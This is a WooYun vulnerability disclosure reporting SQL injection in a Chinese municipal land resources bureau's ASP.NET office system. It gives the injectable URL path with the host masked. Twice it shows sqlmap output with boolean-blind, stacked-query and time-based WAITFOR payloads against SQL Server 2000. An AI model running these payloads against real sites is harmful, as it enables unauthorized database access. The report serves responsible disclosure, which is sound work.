当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167272

漏洞标题:某市国土资源局SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2016-01-05 22:54

修复时间:2016-02-22 17:50

公开时间:2016-02-22 17:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

happy new year!!!

详细说明:

注入点:**.**.**.**/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_MenuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoListPartPage.ascx&Mode=more&FolderName=&SubFolderID=958*

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 91 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958 AND 2279=2279
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958;WAITFOR DELAY '0:0:10'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958 WAITFOR DELAY '0:0:10'
---
[17:19:06] [INFO] testing Microsoft SQL Server
[17:19:07] [INFO] confirming Microsoft SQL Server
[17:19:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2000


1.png

漏洞证明:

注入点:**.**.**.**/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_MenuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoListPartPage.ascx&Mode=more&FolderName=&SubFolderID=958*

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 91 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958 AND 2279=2279
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958;WAITFOR DELAY '0:0:10'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958 WAITFOR DELAY '0:0:10'
---
[17:19:06] [INFO] testing Microsoft SQL Server
[17:19:07] [INFO] confirming Microsoft SQL Server
[17:19:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2000


1.png

修复方案:

你们更专业。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-08 18:37

厂商回复:

漏洞重复,CNVD不在重复处置。

最新状态:

暂无


漏洞评价:

评价